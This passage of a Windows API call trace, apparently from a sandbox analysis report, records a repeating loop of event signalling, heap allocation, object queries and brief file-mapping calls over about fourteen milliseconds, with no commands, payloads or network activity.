ResetEvent (hEvent=0x110) returned 1 [0072.417] SetEvent (hEvent=0x114) returned 1 [0072.417] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.417] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.417] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.417] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.417] ResetEvent (hEvent=0x110) returned 1 [0072.417] SetEvent (hEvent=0x114) returned 1 [0072.417] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.417] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.417] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.417] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.417] MapViewOfFile (hFileMappingObject=0x198, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x320000 [0072.417] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x320000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xf80048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xf80048, ResultLength=0x0) returned 0xc0000098 [0072.417] UnmapViewOfFile (lpBaseAddress=0x320000) returned 1 [0072.417] ResetEvent (hEvent=0x110) returned 1 [0072.417] SetEvent (hEvent=0x114) returned 1 [0072.418] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.418] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.418] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.418] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.418] ResetEvent (hEvent=0x110) returned 1 [0072.418] SetEvent (hEvent=0x114) returned 1 [0072.418] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.418] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.418] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.418] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.418] ResetEvent (hEvent=0x110) returned 1 [0072.418] SetEvent (hEvent=0x114) returned 1 [0072.418] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.418] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.418] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.419] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.419] ResetEvent (hEvent=0x110) returned 1 [0072.419] SetEvent (hEvent=0x114) returned 1 [0072.419] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.419] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.419] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.419] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.419] MapViewOfFile (hFileMappingObject=0x198, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x320000 [0072.419] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x320000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xf80048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xf80048, ResultLength=0x0) returned 0xc0000098 [0072.419] UnmapViewOfFile (lpBaseAddress=0x320000) returned 1 [0072.419] ResetEvent (hEvent=0x110) returned 1 [0072.419] SetEvent (hEvent=0x114) returned 1 [0072.419] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.419] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.419] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.419] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.419] ResetEvent (hEvent=0x110) returned 1 [0072.419] SetEvent (hEvent=0x114) returned 1 [0072.420] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.420] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.420] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.420] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.420] ResetEvent (hEvent=0x110) returned 1 [0072.420] SetEvent (hEvent=0x114) returned 1 [0072.420] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.420] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.420] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.420] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.420] ResetEvent (hEvent=0x110) returned 1 [0072.420] SetEvent (hEvent=0x114) returned 1 [0072.420] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.420] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.420] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.420] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.420] MapViewOfFile (hFileMappingObject=0x198, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x320000 [0072.421] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x320000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xf80048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xf80048, ResultLength=0x0) returned 0xc0000098 [0072.421] UnmapViewOfFile (lpBaseAddress=0x320000) returned 1 [0072.421] ResetEvent (hEvent=0x110) returned 1 [0072.421] SetEvent (hEvent=0x114) returned 1 [0072.421] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.421] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.421] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.421] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.421] ResetEvent (hEvent=0x110) returned 1 [0072.421] SetEvent (hEvent=0x114) returned 1 [0072.421] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.421] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.421] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.421] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.421] ResetEvent (hEvent=0x110) returned 1 [0072.421] SetEvent (hEvent=0x114) returned 1 [0072.421] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.422] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.422] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.422] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.422] ResetEvent (hEvent=0x110) returned 1 [0072.422] SetEvent (hEvent=0x114) returned 1 [0072.422] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.422] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.422] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.422] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.422] MapViewOfFile (hFileMappingObject=0x198, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x320000 [0072.422] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x320000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xf80048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xf80048, ResultLength=0x0) returned 0xc0000098 [0072.422] UnmapViewOfFile (lpBaseAddress=0x320000) returned 1 [0072.422] ResetEvent (hEvent=0x110) returned 1 [0072.422] SetEvent (hEvent=0x114) returned 1 [0072.422] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.422] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.423] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.423] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.423] ResetEvent (hEvent=0x110) returned 1 [0072.423] SetEvent (hEvent=0x114) returned 1 [0072.423] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.423] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.423] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.423] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.423] ResetEvent (hEvent=0x110) returned 1 [0072.423] SetEvent (hEvent=0x114) returned 1 [0072.423] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.423] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.423] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.423] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.423] ResetEvent (hEvent=0x110) returned 1 [0072.423] SetEvent (hEvent=0x114) returned 1 [0072.423] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.423] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.424] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.424] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.424] MapViewOfFile (hFileMappingObject=0x198, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x320000 [0072.424] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x320000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xf80048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xf80048, ResultLength=0x0) returned 0xc0000098 [0072.424] UnmapViewOfFile (lpBaseAddress=0x320000) returned 1 [0072.424] ResetEvent (hEvent=0x110) returned 1 [0072.424] SetEvent (hEvent=0x114) returned 1 [0072.424] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.424] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.424] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.424] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.424] ResetEvent (hEvent=0x110) returned 1 [0072.424] SetEvent (hEvent=0x114) returned 1 [0072.424] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.424] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.424] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.424] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.425] ResetEvent (hEvent=0x110) returned 1 [0072.425] SetEvent (hEvent=0x114) returned 1 [0072.425] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.425] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.425] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.425] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.425] ResetEvent (hEvent=0x110) returned 1 [0072.425] SetEvent (hEvent=0x114) returned 1 [0072.425] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.425] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.425] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.425] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.425] MapViewOfFile (hFileMappingObject=0x198, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x320000 [0072.425] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x320000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xf80048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xf80048, ResultLength=0x0) returned 0xc0000098 [0072.425] UnmapViewOfFile (lpBaseAddress=0x320000) returned 1 [0072.425] ResetEvent (hEvent=0x110) returned 1 [0072.425] SetEvent (hEvent=0x114) returned 1 [0072.426] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.426] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.426] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.426] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.426] ResetEvent (hEvent=0x110) returned 1 [0072.426] SetEvent (hEvent=0x114) returned 1 [0072.426] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.426] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.426] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.426] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.426] ResetEvent (hEvent=0x110) returned 1 [0072.426] SetEvent (hEvent=0x114) returned 1 [0072.426] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.426] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.426] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.426] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.426] ResetEvent (hEvent=0x110) returned 1 [0072.427] SetEvent (hEvent=0x114) returned 1 [0072.427] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.427] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.427] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.427] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.427] MapViewOfFile (hFileMappingObject=0x198, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x320000 [0072.427] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x320000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xf80048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xf80048, ResultLength=0x0) returned 0xc0000098 [0072.427] UnmapViewOfFile (lpBaseAddress=0x320000) returned 1 [0072.427] ResetEvent (hEvent=0x110) returned 1 [0072.427] SetEvent (hEvent=0x114) returned 1 [0072.427] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.427] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.427] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.427] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.427] ResetEvent (hEvent=0x110) returned 1 [0072.427] SetEvent (hEvent=0x114) returned 1 [0072.427] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.428] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.428] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.428] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.428] ResetEvent (hEvent=0x110) returned 1 [0072.428] SetEvent (hEvent=0x114) returned 1 [0072.428] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.428] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.428] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.428] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.428] ResetEvent (hEvent=0x110) returned 1 [0072.428] SetEvent (hEvent=0x114) returned 1 [0072.428] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.428] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.428] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.428] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.428] MapViewOfFile (hFileMappingObject=0x198, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x320000 [0072.429] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x320000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xf80048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xf80048, ResultLength=0x0) returned 0xc0000098 [0072.429] UnmapViewOfFile (lpBaseAddress=0x320000) returned 1 [0072.429] ResetEvent (hEvent=0x110) returned 1 [0072.429] SetEvent (hEvent=0x114) returned 1 [0072.429] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.429] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.429] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.429] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.429] ResetEvent (hEvent=0x110) returned 1 [0072.429] SetEvent (hEvent=0x114) returned 1 [0072.429] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.429] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.429] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.429] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.429] ResetEvent (hEvent=0x110) returned 1 [0072.429] SetEvent (hEvent=0x114) returned 1 [0072.430] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.430] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.430] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.430] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.430] ResetEvent (hEvent=0x110) returned 1 [0072.430] SetEvent (hEvent=0x114) returned 1 [0072.430] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.430] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.430] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.430] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.430] MapViewOfFile (hFileMappingObject=0x198, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x320000 [0072.430] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x320000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xf80048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xf80048, ResultLength=0x0) returned 0xc0000098 [0072.430] UnmapViewOfFile (lpBaseAddress=0x320000) returned 1 [0072.430] ResetEvent (hEvent=0x110) returned 1 [0072.430] SetEvent (hEvent=0x114) returned 1 [0072.430] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.430] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.431] 